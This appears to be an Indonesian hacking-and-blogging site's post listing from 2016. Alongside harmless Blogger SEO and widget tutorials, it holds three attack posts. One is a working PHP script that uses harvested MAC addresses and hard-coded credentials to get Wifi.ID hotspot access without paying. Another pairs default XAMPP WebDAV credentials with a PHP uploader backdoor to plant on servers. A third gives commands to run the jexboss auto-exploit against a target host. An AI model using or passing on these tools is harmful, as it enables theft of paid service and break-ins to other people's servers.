Sabtu, 10 Desember 2016

Cara Akses Gratis Wifi.ID Terbaru
Cara Akses Gratis Wifi.ID Terbaru - Hallo Sobat Ambarawa Cyber Army mohon maaf jika beberapa hari terakhir Ambarawa Cyber Army jarang membuat post tau berbagi informasi untuk sobat Ambarawa Cyber Army sekalian. Untuk pertemuan kali ini Ambarawa Cyber Army akan berbagi Informasi Tentang Cara Akes Gratis Wifi.ID. Langsung Saja Yuk.
Cara Akses Gratis Wifi.ID Terbaru
Cara Akses Gratis Wifi.ID Terbaru

Pembahasan : 

Sebenarnya celah ini sudah lama di karenakan saya kurang berminat dan kurang tertarik untuk melakukan testing. Kenapa bisa mendapat akses gratis? Secara langsung memang anda mendapatkan akses gratis. Tapi pada dasarnya system yang di gunakan oleh Wifi.ID adalah Record Mac Address User yang terdafar. Setiap user baru akan masuk kedalam halaman login WIFI.ID dan memasukan voucer yang sudah di beli dengan harga Rp.5.000,00. dan Di Tool/Alat yang teman saya buat untuk mendapatkan Mac Address User yang sudah Login atau yang sudah mendapat akses Wifi.ID.

Alat : 

Xampp : Di gunakan Untuk menjalankan File PHP dengan Command Prompt
Login.php : Alat yang di jalankan pada Command Prompt dengan perintah php login.php
Source :

<?php
error_reporting(0);
class WifiController
{
 public function ngecurl($url , $post=null , $header=null){
        unlink("cookies.txt");
        $ch = curl_init($url);
        if($post != null) {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        }
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; Android 4.4.2; GT-I9100 Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36");
        curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd()."/cookies.txt");
        curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd()."/cookies.txt");
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
        if($header != null) {
            curl_setopt($ch, CURLOPT_HTTPHEADER,$header);
        }
        curl_setopt($ch, CURLOPT_COOKIESESSION, true);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0); 
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        return curl_exec($ch) ;
        curl_close($ch);
    }
    public function getData($data){
     preg_match_all('/&client_mac=(.*?)&/', $data, $mac);
     preg_match_all('/?gw_id=(.*?)&/', $data, $gwid);
        preg_match_all('/URL=(.*?)?/', $data , $url);
        $repons       = $this->ngecurl($url[1][0] ,null , null);
        preg_match_all('/&ipc=(.*?)&/', $repons, $ipc);
        return array('mac' => $mac[1][0],'gwid' => $gwid[1][0] ,'url' => $url[1][0] , 'ipc' => $ipc[1][0]);
    }
    public function login($mac,$gwid,$url,$ipc){
        //$mac = "50:B7:C3:E2:C4:01";
        $header = array(
            'Host:welcome2.wifi.id', 
            'Origin:http://welcome2.wifi.id', 
            'X-Requested-With:XMLHttpRequest',
            'Connection:keep-alive',
            'Content-Type:application/x-www-form-urlencoded; charset=UTF-8'
        );
        $post = $this->ngecurl("http://welcome2.wifi.id/authnew/login-free/check_login.php?ipc=".$ipc."&gw_id=".$gwid."&mac=".$mac,"username_=mcent&username=mcent".time().".mcent%40event&password=mcent&landURL=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.mcent.app%26referrer%3Dutm_source%253Dwifi.id%2526utm_content%253DMEpKdGNaSW1XOFRZKzRIZi9MOUo1VHBqUlBGeDl5aVdZeWVyYU41SEpMYmpuMkJWZGFTeUt2MTVuYmpIUHJuNCtvRUZCZSsyZnJJaWxsaDhwUmdEaUI0K3kydy94QnIxL1FnVzFqdGhyc1k3TlVFTUNOVGZRa0JtdGs2T2h5N2VWUVhYdnN5WVEzY3U3RHNxOUY1QzRRPT0_" , $header);
        $result = json_decode($post,true);

        $post1 = $this->ngecurl("http://welcome2.wifi.id/authnew/login-free/check_login.php?ipc=".$ipc."&gw_id=".$gwid."&mac=".$mac,"username=".$mac."@freeMS.pass&password=".time() , $header);
        $result1 = json_decode($post,true);

        if($result[result]){
            echo "[WIFI] Status Login : ".$result[message]."rn";
            $this->ping();
        }else{
            echo "[WIFI] Status Login : ".$result[message]."rn";
        }
        if($result1[result]){
            echo "[WIFI] Status Login : ".$result1[message]."rn";
            $this->ping();
        }else{
            echo "[WIFI] Status Login : ".$result1[message]."rn";
        }
        $this->login($mac,$gwid,$url,$ipc);
    }
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824)
        {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        }
        elseif ($bytes >= 1048576)
        {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        }
        elseif ($bytes >= 1024)
        {
            $bytes = number_format($bytes / 1024, 2) . ' kB';
        }
        elseif ($bytes > 1)
        {
            $bytes = $bytes . ' bytes';
        }
        elseif ($bytes == 1)
        {
            $bytes = $bytes . ' byte';
        }
        else
        {
            $bytes = '0 bytes';
        }

        return $bytes;
}
    public function mac(){
        return implode(':',str_split(str_pad(base_convert(mt_rand(0,0xffffff),10,16).base_convert(mt_rand(0,0xffffff),10,16),12),2));
    }
    public function ping(){
        $ch = curl_init("http://i.imgur.com/72udZx0.gif");
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
        curl_setopt($ch,CURLOPT_HEADER,0);
        curl_setopt($ch,CURLOPT_NOBODY,true);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        $response   = curl_exec($ch);
        $info       = curl_getinfo($ch);
        if($info['http_code'] == "200"){
            echo "[AutoLogin] Terhubung (".$this->formatSizeUnits($info[header_size]).")rn";
            $this->ping();
        }else{
            echo "[AutoLogin] Terputusrn";
            $this->login();
        }
    }
    public function run(){
     $repons        = $this->ngecurl("http://go.microsoft.com/fwlink/?LinkID=219472&clcid=0x409" ,null , null);
        preg_match_all('/berita/', $repons, $res);
        if($res[0][0]){
            echo "[WIFI] Sudah terhubungrn";
            $this->ping();
        }else{
            echo "[WIFI] Sedang mengambil data rn";
            $data   = $this->getData($repons);
            if($data[mac]){
                echo "[WIFI] MAC : ".$data[mac]." | GWID : ".$data[gwid]." | IPC : ".$data[ipc]."rn";
                $this->login($data[mac] , $data[gwid] , $data[url] , $data[ipc]);
            }else{
                $this->run();
            }
        }
    }
}
$wifi = new WifiController;
$wifi->run();

Video Tutorial


Sekian Informasi yang dapat saya berikan untuk sobat Ambarawa Cyber Army sekalian semoga bermanfaat. dan Terima kasih untuk teman saya yang sudah membuat alat tersebut Eka Syahwan. segala hal yang dapat merugikan atau di salah gunakan sudah tertulis pada Terms Of Services.

Jumat, 02 Desember 2016

Exploit Webdav Server Bypass Shell Upload
Exploit Webdav Bypass Shell Upload - Hallo Sobat blogger untuk pertemuan kali ini saya akan berbagi informasi seputar dunia sistem keamanan. Di sini kita membahas celah dari Webdav mari kita simak.
Exploit Webdav Bypass Shell Upload
Exploit Webdav Bypass Shell Upload

Pembahasan

1. Bagi sobat yang sudah install xampp sobat bisa lihat pada folder xampp/webdav/webdav.txt dan isi dari file tersebut adalah
WEB-DAV für den gemeinsamen REMOTE-Zugriff
auf WWW-Dokumente über den Apache2.

Die Module mod_dav.so und mod_dav_fs.so auskommentieren
URL: http://localhost/webdav/
User: wampp Password: xampp
E-Mail-Adresse bei Dreamweaver angeben. 
Lokales Directory: /xampp/webdav/
2. Di situ sobat sudah menemukan User dan Password Defaultnya Yaitu :
User: wampp 
Password: xampp
3. Jika sudah sobat bisa download WinSCP yang nantinya kita gunakan untuk media upload file.
4. Sobat siapkan file uploader. Berikut scriptnya.
<?php if(isset($_GET['Germy']))
{
echo "<body bgcolor=black>
<font color=cyan size=3>";
echo "<h2>Germy Uploaded Area</h2><hr>";
echo "<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="UPLOAD IT">
</form>";
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
if (file_exists("" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"" . $_FILES["file"]["name"]);
echo "Stored in: " . "" . $_FILES["file"]["name"];
echo"<hr>";
}
}

?>
5. Cara Memanggil "File.php?Germy" Jika kalian bertanya kenapa tidak langsung shell saja? Lebih baik kalian coba sendiri ^_^
Untuk tutorialnya sobat bisa lihat video di bawah ini.

Video Tutorial


Sekian Informasi yang dapat saya berikan untuk sobat Ambarawa Cyber Army sekalian semoga bermanfaat. dan segala hal yang dapat merugikan atau di salah gunakan sudah tertulis pada Terms Of Services.

Jumat, 25 November 2016

Mengatasi Images dan Missing Titles Pada Chkme
Mengatasi Images dan Missing Titles Pada Chkme - Hallo Sobat Blogger Ambarawa Cyber Army lama tidak jumpa. Yup karena saya sibuk dengan keseharian hehehee.... Untuk pertemuan kali ini kita akan membahas tentang SEO nih. Mungkin sering juga sobat blogger mengalami error pada images/gambar pada CHKMe tau website mengetahui seberapa persen SEO milik sobat. Berikut Cara Mengatasi Images dan Missing Titles Pada Chkme. Langsung saja ke tutorialnya yuk.
Mengatasi Images dan Missing Titles Pada Chkme
Mengatasi Images dan Missing Titles Pada Chkme

Error Images and Missing Titles

1. Setiap Source pada website/blog sobat tambahkan code alt dan title contohnya. Seperti di bawah ini :
Sebelum.
<img src='//www.blogger.com/AmbarawaCyberArmy-images.gif ' />
Sobat ganti menjadi.
<img alt='image' title='image' src='//www.blogger.com/AmbarawaCyberArmy-images.gif ' />
2.  Jika sobat menemui error gambar Quick Edit atau Pintasan Edit. Sobat bisa cari link gambar :
http://img1.blogblog.com/img/icon18_wrench_allbkg.png
Eror ini muncuk ketika sobat sesudah edit Widget pada blogger sobat. Cara mengatasinya yaitu sobat hapus code di bawah ini.
<b:include name='quickedit'/>
Cukup mudah bukan. Sekian informasi tentang Mengatasi Images dan Missing Titles Pada Chkme dapat saya berikan untuk sobat blogger sekalian. Semoga Bermanfaat.

Selasa, 22 November 2016

Auto Exploit JBoss

Auto Exploit JBoss

Auto Exploit JBoss - Hallo Sobat Blogger Ambarawa Cyber Army untuk kali ini kita akan membahas celah pada Server berbasis Java. Gimana caranya? Langsung saja kita ke tutorialnya.
Auto Exploit JBoss
Auto Exploit JBoss 

Requirements

Python >= 2.7.x

Install Exploit

Download dan Install Python 2.7
Download dan Install Git Untuk Windows
Command Install :

PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OR:

Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

Tutorial Video 

Sekian tutorial dari saya semoga bermanfaat. Untuk penyalah gunaan informasi yang di dapat dari Ambarawa Cyber Army kami tidak bertanggung jawab dan semua hal tersebut sudah tertulis pada laman Terms Of Services.

Sabtu, 12 November 2016

Mempercepat Loading Blogger

Mempercepat Loading Blogger

Mempercepat Loading Blogger - Hallo Sobat blogger Ambarawa Cyber Army untuk pertemuan kali ini saya akan berbagi tips untuk Mempercepat Loading Blogger Nih. Langsung saja ke tutorialnya yang ada di bawah ini.
Mempercepat Loading Blogger
Mempercepat Loading Blogger

Mempercepat Loading Blogger

Apa sih pentingnya loading pada blogger ?
Untuk saat ini google lebih memprioritaskan pada sebuah web atau situs yang mempunyai loading cepat untuk bertahan pada halaman SERP, tentunya didukung dengan konten relevan dan berkualitas.

Apa Aja Sih Mas Germy Yang Mempengaruhi Loading ?
Dalam hal ini yang sering menjadi masalah adalah penggunaan Javascript, CSS, Image, dan HTML yang berlebihan dan kurang efisien. Untuk itu sebaiknya kita buat tampilan blog menjadi seminimal mungkin namun tetap menarik dan ramah untuk dikunjungi. Bisa juga sobat mencoba Template buatan saya ini Mag Indo Template Responsive Full SEO

Cara Untuk Mempercepat Loading Blog

Berikut Cara Untuk Mempercepat Loading Blog ada 4 Informasi yang harus sobat ketahui. Berikut Caranya.

- Java Script
Di Sini Sobat Wajib hindari penggunaan Javascript yang berlebihan dan memberatkan blog, dalam kasus ini yang paling sering terjadi adalah pada efek penggunaan Jquery. Dengan munculnya peringatan seperti di bawah ini :
1. Remove Render Blocking Javascript
2. Defer Of Loading Javascript

Jika memang tidak benar-benar diperlukan kita bisa menghapusnya, namun kalau memang  kita harus memakai JQuery ini kita bisa mengatasinya dengan menambahkan kode asynchronous ataupun menggunakan defer javascript
Solusinya kita bisa menggunakan kode dibawah ini :
<script async='async' src='http://code.jquery.com/jquery-2.1.4.min.js' type='text/javascript'></script>
ATAU
<script async='true' src='http://code.jquery.com/jquery-2.1.4.min.js' type='text/javascript'></script>
Bisa Juga Dengan
<script type="text/javascript">
function downloadJSAtOnload() {
var element = document.createElement("script");
element.src = "defer.js";
document.body.appendChild(element);
}
if (window.addEventListener)
window.addEventListener("load", downloadJSAtOnload, false);
else if (window.attachEvent)
window.attachEvent("onload", downloadJSAtOnload);
else window.onload = downloadJSAtOnload;
</script>
Untuk langkah selanjutnya yang perlu di perhatikan adalah CSS langsung saja kita bahas.

- CSS 
Masalah yang sering terjadi terdapat pada CSS Bundle Blogger untuk mengatasinya berikut caranya.
Cari dan Ganti code CSS di bawah ini.
<b:skin><![CDATA[
KODE CSS BLOG SOBAT
]]></b:skin>
Sehingga menjadi seperti di bawah ini.
&lt;style type=&quot;text/css&quot;&gt; &lt;!-- /*<b:skin><![CDATA[*/]]></b:skin>
<style type='text/css'>
KODE CSS BLOG SOBAT
</style>
- CSS Font Google
Menggunakan @font-face pada template untuk mengatasi render blocking css, namun dengan metode ini kita masih menyisakan satu permintaan http request dari css ekternal tersebut.

- CSS Font Awesome
Untuk Font awesome ini silakan  baca Cara mengatasi Render Blocking CSS Font Awesome

- Optimize CSS Delivery
Baca Cara optimalkan CSS Delivery Blogger

- GAMBAR
Peringatan yang sering terjadi adalah :

* Minimize HTTP Request
* Optimize Image
* Combine Image with CSS Sprite

Untuk masalah gambar ini kita bisa mengatasinya dengan menggunakan metode CSS sprite Image dan Image base64 sebagai cara untuk mengurangi permintaan HTTP Request.

Baca :
Cara Mengurangi HTTP Request

- HTML
Untuk mengatasinya kita bisa menggunakan metode minify HTML dengan memanfaatkan tool online secara gratis. misalkan HTML Compressor CSS Compressor dan sebagainya.
Beberapa Informasi di atas hanya beberapa hal yang sering terjadi. Inforsi seputar kecepatan blogger bisa kita bahas di lain waktu.
Sekian pembahasan kita seputar Mempercepat Loading Blogger. Semoga bermanfaat bagi sobat blogger sekalian.
Tag Conditional Untuk Custom Homepage
Tag Conditional Untuk Custom Homepage - Hallo Sobat Blogger Ambarawa Cyber Army. Untuk pertemuan kali ini Ambarawa Cyber Army akan membahas Tag Conditional Untuk Custom Homepage langsung saja yuk sobat ke pembahasannya.
Tag Conditional Untuk Custom Homepage
Tag Conditional Untuk Custom Homepage - Germy Load

Tag Conditional Untuk Custom Homepage

Kini saya memberikan contoh penggunaannya untuk memanipulasi tampilan homepage agar beda dengan blog umumnya. Sederhananya kita membuat halaman tersendiri pada homepage dengan menggunakan Tag Conditional.

Sebagai contoh Tag Conditional selengkapnya yang umum kita gunakan untuk blogger ini bisa dilihat pada artikel sebelumnya Tentang tag kondisional blogger, karena pokok bahasan kali adalah kostumisasi pada tampilan homepage maka kita ambil Tag Conditionalnya adalah seperti ini :
<b:if cond='data:blog.url == data:blog.homepageUrl'></b:if>
Untuk modifikasi tampilan homepage seperti ini kita memerlukan beberapa element dasar yang harus kita buatkan struktur dengan design tersendiri agar bisa tampil sempurna dan maksimal. Element element dasar itu meliputi section, header, menu navigasi, footer dll.
Contoh bentuk konsep kodenya seperti di bawah ini :
<b:if cond='data:blog.url == data:blog.homepageUrl'>
<header>
</header>
<section>
</section>
<footer>
</footer>
</b:if>
Setelah kita menentukan element yang akan digunakan selanjutnya kita buatkan stylenya untuk masing masing element tadi misalnya seperti ini :
header{ isi kode css atribut untuk header }
section{ isi kode css atribut untuk section }
footer{ isi kode css atribut untuk footer }
Masukkan kode css yang sudah kita buat tadi sebelum kode </head> atau </style> atau ]]></b:skin>
Jadi nanti secara keseluruhan kode CSSnya menjadi seperti ini:
<b:if cond='data:blog.url == data:blog.homepageUrl'>
<style type='text/css'>
header{ isi kode css atribut untuk header }
section{ isi kode css atribut untuk section }
footer{ isi kode css atribut untuk footer }
</style>
</b:if>
Cara memasangnya pada Edit html blog :

Masukkan kode HTML yang sudah kita buat tadi dan masukkan setelah kode di bawah ini. kemudian untuk menghilangkan element blog yang tidak diinginkan tambahkan tag kondisinya seperti ini :
<b:if cond='data:blog.url != data:blog.homepageUrl'>
dan diakhiri dengan
</b:if>

Alternatif lain membuat tampilan halaman muka sendiri dengan menghilangkan Widget Blogpost Blogger

Cari kode yang mirip mirip seperti kode dibawah ini :
<b:section class='main' id='main' showaddelement='no'>
<b:widget id='Blog1' locked='true' title='Posting Blog' type='Blog'/>
</b:section>
Kemudian tambahkan kode dibawah ini tepat diatasnya.
<b:if cond='data:blog.url == data:blog.homepageUrl'>
<b:section class='main' id='homepage'></b:section>
<b:else/>
Dan tepat dibawahnya.
</b:if>
Jadi secara keseluruhan kodenya menjadi seperti ini :
<b:if cond='data:blog.url == data:blog.homepageUrl'>
  <b:section class='main' id='homepage'></b:section>
<b:else/>
  <b:section class='main' id='main' showaddelement='no'>
    <b:widget id='Blog1' locked='true' title='Posting Blog' type='Blog'/>
  </b:section>
</b:if>
Terakhir simpan templatenya kemudian tambahkan widget atau apa saja untuk menggantikan widget blogpost yang sudah kita hilangkan tadi.
Catatan : Dengan menerapkan kedua metode diatas akan membuat fungsi Preview pada postingan maupun page post pada halaman statis tidak berjalan dan hanya akan menampilkan halaman yang telah kita buat tadi.
Sekian Tutorial Dari Ambarawa Cyber Army. Semoga Bermanfaat Bagi Sobat Blogger Semua.
Recent Post By Label Dengan Fungsi Tab
Recent Post By Label Dengan Fungsi Tab - Hallo Sobat blogger untuk kali ini  Ambarawa Cyber Army akan  membahas tentang widget blogger. yaitu Cara membuat Recent Post By Label Dengan Fungsi Tab. Langsung saja ke tutorialnya. 
Recent Post By Label Dengan Fungsi Tab
Recent Post By Label Dengan Fungsi Tab 

Recent Post By Label Dengan Fungsi Tab

1. Login ke blogger sobat dan masuk ke template editor kemudian sobat tambahkan code CSS bawah ini dan letakkan sebelum ]]></b:skin> atau </style>.
/* Recent Post Label */
.recent-labpost{margin:20px;}
.rctab-button &gt; span{padding:15px 20px;cursor:pointer;position:relative;color:#222;display:inline-block;font-size:120%;font-weight:700;}
.rctab-button &gt; span.active{color:#222;background:rgba(0,0,0,0.05)}
.rctab-button &gt; span.active:before{content:&#39;&#39;;top:0;opacity:1}
.rctab-content{padding:15px;background:rgba(0,0,0,0.05);position:relative;min-height:100px;overflow:auto}
.rctab-item{float:left;width:48%;margin:10px 1%;background:#fff;border:1px solid rgba(0,0,0,0);transition:all .3s;}
.rctab-item:hover{border:1px solid rgba(0,0,0,0.1);}
.rctab-item-inner{padding:10px}
.rctab-item img{float:left;width:120px;height:auto;}
.rctab-item h3{float:right;width:calc(100% - 130px);height:20px;margin:10px 0;font-size:120%}
.rctab-item h3 a{color:#222}.rctab-item h3 a:hover{color:#e74c3c}
.loader{position:absolute;left:50%;top:50%;margin-left:-27.5px;margin-top:-27.5px;transition:all .3s linear}
.hide-load .loader{opacity:0}
.squarin{background:#374140;width:15px;height:15px;float:left;top:-10px;margin-right:5px;margin-top:5px;position:relative;opacity:0;-webkit-animation:enter 6s infinite;animation:enter 6s infinite}
.enter{top:0;opacity:1}
.squarin:nth-child(1){-webkit-animation-delay:1.8s;-moz-animation-delay:1.8s;animation-delay:1.8s}
.squarin:nth-child(2){-webkit-animation-delay:2.1s;-moz-animation-delay:2.1s;animation-delay:2.1s}
.squarin:nth-child(3){-webkit-animation-delay:2.4s;-moz-animation-delay:2.4s;animation-delay:2.4s;background:#09c}
.squarin:nth-child(4){-webkit-animation-delay:0.9s;-moz-animation-delay:0.9s;animation-delay:0.9s}
.squarin:nth-child(5){-webkit-animation-delay:1.2s;-moz-animation-delay:1.2s;animation-delay:1.2s}
.squarin:nth-child(6){-webkit-animation-delay:1.5s;-moz-animation-delay:1.5s;animation-delay:1.5s}
.squarin:nth-child(8){-webkit-animation-delay:0.3s;-moz-animation-delay:0.3s;animation-delay:0.3s}
.squarin:nth-child(9){-webkit-animation-delay:0.6s;-moz-animation-delay:0.6s;animation-delay:0.6s}
@media screen and (max-width:768px) {
.rctab-item{float:left;width:100%;}
.rctab-item {margin:10px auto;}}
2. Selanjutnya letakkan kode di bawah ini sebelum </head>
<script type='text/javascript'>
//<![CDATA[
function getMeImg(a){var t=[a,a,!1];return void 0!==a?-1!==a.url.indexOf("img.youtube")?(t[0]=a.url.replace("default.jpg","hqdefault.jpg"),t[1]=a.url.replace("default.jpg","mqdefault.jpg"),t[2]=!0):(t[0]=a.url.replace("s72-c","w100-h75-c"),t[1]=a.url.replace("s72-c","s500-c")):(t[0]="https://4.bp.blogspot.com/-THLip_5EXck/V4zK2o3lA6I/AAAAAAAAJfg/RG-Qo6D73z0zLAigWBEdfnFveop1IIa5gCLcB/s1600/thumb.png",t[1]="https://4.bp.blogspot.com/-THLip_5EXck/V4zK2o3lA6I/AAAAAAAAJfg/RG-Qo6D73z0zLAigWBEdfnFveop1IIa5gCLcB/s1600/thumb.png"),t}function load_w_tab(a){var t=a.find(".rctab-content>.active"),e=t.attr("data-load");$.ajax({type:"GET",url:"/feeds/posts/summary/-/"+e+"?max-results=20&alt=json-in-script",async:!1,contentType:"application/json",dataType:"jsonp",success:function(a){if(a.feed.entry){t.append('<div class="wtab-inner"></div>');for(var e=0;e<a.feed.entry.length;e++){for(var i=a.feed.entry[e],d=0;d<a.feed.entry[e].link.length;d++)if("alternate"==a.feed.entry[e].link[d].rel){var s=a.feed.entry[e].link[d].href;break}var n=i.title.$t,l=getMeImg(i.media$thumbnail),r='<div class="rctab-item"><div class="rctab-item-inner"><a href="'+s+'"><img src="'+l[0]+'"/></a><h3><a href="'+s+'">'+n+'</a></h3><div style="clear:both"></div></div></div>';t.find(".wtab-inner").append(r)}t.addClass("hide-load")}}})}function getwtabs(e){for(var labelArr=eval(e.attr("data-label")),html='<div class="rctab-button">',i=0;i<labelArr.length;i++)html+='<span data-target="'+labelArr[i]+'-genova">'+labelArr[i]+"</span>";html+='</div><div class="rctab-content">';for(var i=0;i<labelArr.length;i++)html+='<div data-load="'+labelArr[i]+'" data-container="'+labelArr[i]+'-genova">'+loaderHTML+"</div>";html+="</div>",e.append(html),e.find(".rctab-button>span").first().addClass("active"),e.find(".rctab-content>div").hide(0),e.find(".rctab-content>div").first().show(0).addClass("active loaded"),setTimeout(function(){load_w_tab(e)},500),e.find(".rctab-button>span").click(function(){var a=$(this).attr("data-target"),t=$(this),i="";e.find(".rctab-content>div").each(function(){$(this).attr("data-container")==a&&(e.find(".rctab-button>span").removeClass("active"),t.addClass("active"),e.find(".rctab-content>div").removeClass("active").hide(0),$(this).fadeIn().addClass("active"),i=$(this))}),i.hasClass("loaded")||(i.addClass("loaded"),setTimeout(function(){load_w_tab(e)},500))})}var loaderHTML='<div class="loader"> <div class="squarin" ></div> <div class="squarin"></div> <div class="squarin last"></div> <div class="squarin clear"></div> <div class="squarin"></div> <div class="squarin last"></div> <div class="squarin clear"></div> <div class="squarin "></div> <div class="squarin last"></div> </div>';$(function(){getwtabs($(".recent-labpost"))});
//]]>
</script>
<script type='text/javascript'>
//<![CDATA[
function getMeImg(a){var t=[a,a,!1];return void 0!==a?-1!==a.url.indexOf("img.youtube")?(t[0]=a.url.replace("default.jpg","hqdefault.jpg"),t[1]=a.url.replace("default.jpg","mqdefault.jpg"),t[2]=!0):(t[0]=a.url.replace("s72-c","w100-h75-c"),t[1]=a.url.replace("s72-c","s500-c")):(t[0]="https://4.bp.blogspot.com/-THLip_5EXck/V4zK2o3lA6I/AAAAAAAAJfg/RG-Qo6D73z0zLAigWBEdfnFveop1IIa5gCLcB/s1600/thumb.png",t[1]="https://4.bp.blogspot.com/-THLip_5EXck/V4zK2o3lA6I/AAAAAAAAJfg/RG-Qo6D73z0zLAigWBEdfnFveop1IIa5gCLcB/s1600/thumb.png"),t}function getauthor(a){for(var t=0;t<a.length;t++)var e="<span class='author'>&#xf007; "+a[t].name.$t+"</span>";return e}function getmeta(a){var t=[];t[1]="Jan",t[2]="Feb",t[3]="Mar",t[4]="Apr",t[5]="May",t[6]="Jun",t[7]="Jul",t[8]="Aug",t[9]="Sep",t[10]="Oct",t[11]="Nov",t[12]="Dec";var e=a.substring(0,4),s=a.substring(5,7),n=a.substring(8,10),i="<span class='date'>&#xf017; "+t[parseInt(s,10)]+" "+n+" "+e+"</span>";return i}function t(a){var a,t,e=[];for(t=0;a>t;t++)e.push(t);return shuffle(e)}function getmashrandom(a){var e="/feeds/posts/summary/?max-results=500&alt=json-in-script",s=a.find("div.tab-mash-random");s.find("span#tab-mash-random").addClass("loaded"),s.append('<ul class="random-inner"></ul>'),$.ajax({type:"GET",url:e,async:!0,contentType:"application/json",dataType:"jsonp",success:function(a){s.addClass("hide-load");for(var e=a.feed.entry,n=e.length,i=t(n),r=0;5>r;r++){for(var d=0;d<a.feed.entry[i[r]].link.length;d++)if("alternate"==e[i[r]].link[d].rel){var l=a.feed.entry[i[r]].link[d].href;break}var c=getMeImg(e[i[r]].media$thumbnail),o=e[i[r]].title.$t,u=e[i[r]].published.$t,h=getmeta(u),f=getauthor(e[i[r]].author),m='<li><a href="'+l+'"><img  class="toLoad" src="'+c[0]+'"/></a><div class="recent-list-c"><h3><a href="'+l+'">'+o+'</a></h3><div class="meta">'+f+" "+h+"</div></div></li>";s.find("ul").append(m)}}})}function getmashrecent(a){a.find("span#tab-mash-recent").addClass("loaded"),$.ajax({type:"GET",url:"/feeds/posts/summary?max-results=20&alt=json-in-script",async:!1,contentType:"application/json",dataType:"jsonp",success:function(t){if(t.feed.entry){a.find("div.tab-mash-recent").append('<ul class="recent-post-list"></ul>');for(var e=0;e<t.feed.entry.length;e++){for(var s=t.feed.entry[e],n=0;n<t.feed.entry[e].link.length;n++)if("alternate"==t.feed.entry[e].link[n].rel){var i=t.feed.entry[e].link[n].href;break}var r=s.title.$t,d=getmeta(s.published.$t),l=getauthor(s.author),c=getMeImg(s.media$thumbnail),o="<li class='recent-post-item'><a href='"+i+"'><img src='"+c[0]+"'/></a><div class='recent-list-content'><h3><a href='"+i+"'>"+r+"</a></h3><div class='recent-list-meta'>"+d+l+"</div></div></li>";a.find("div.tab-mash-recent ul").append(o)}}}})}var loaderHTML='<div class="loader"> <div class="squarin" ></div> <div class="squarin"></div> <div class="squarin last"></div> <div class="squarin clear"></div> <div class="squarin"></div> <div class="squarin last"></div> <div class="squarin clear"></div> <div class="squarin "></div> <div class="squarin last"></div> </div>';shuffle=function(a){for(var t,e,s=a.length;s;t=parseInt(Math.random()*s),e=a[--s],a[s]=a[t],a[t]=e);return a},$(function(){$(".thetabs").each(function(){var a=$(this);a.append("<div class='tab-mash-outer'><div class='tab-mash-button'><span class='active' id='tab-mash-recent'><i class='fa fa-rss'></i> Recent</span><span id='tab-mash-random'><i class='fa fa-random'></i> Random</span></div><div class='tab-mash-content'><div class='tab-mash-recent min-height-need'></div><div class='tab-mash-random min-height-need' style='display:none;'>"+loaderHTML+"</div></div></div>"),getmashrecent(a),a.find(".tab-mash-button>span").click(function(){var t=$(this),e=a.find(".tab-mash-content>div");e.each(function(){$(this).hasClass(t.attr("id"))?($(this).fadeIn(),a.find(".tab-mash-button>span").removeClass("active"),t.addClass("active"),t.hasClass("loaded")||("tab-mash-random"==t.attr("id")?(t.addClass("loaded"),setTimeout(function(){getmashrandom(a)},500)):"tab-mash-comment"==t.attr("id")&&(t.addClass("loaded"),setTimeout(function(){getmashcomment(a)},2e3)))):$(this).hide(0)})})})});
//]]>
</script>
Cari code max-results=20 untuk menentukan jumlah post yang akan di tampilkan.
3. Lalu tambahkan code di bawah ini di antara <body> dan </body> . Untuk fungsi memanggil.
<div class='recent-labpost' data-label='[&quot;NAMA LABEL&quot;,&quot;NAMA LABEL&quot;,&quot;NAMA LABEL&quot;,&quot;NAMA LABEL&quot;,&quot;NAMA LABEL&quot;]'/>
Ganti Nama Label dengan nama label yang sobat kehendaki.
4. Simpan Template Sobat dan lihat hasilnya.
Sekian Tutorial Dari Ambarawa Cyber Army. Semoga Bermanfaat untuk sobat semua. Terima Kasih.

Kamis, 10 November 2016

Mengenal AMP Atau Accelerated Mobile Pages HTML
Mengenal AMP Atau Accelerated Mobile Pages HTML - Hallo sobat blogger selamat dapat di blog Ambarawa Cyber Army. Untuk pertemuan kali ini kita membahas tentang dunia Blog yaitu Mengenal AMP Atau Accelereted Mobile Page HTML. Langsung saja kita simak yuk.
Mengenal AMP Atau Accelerated Mobile Pages HTML
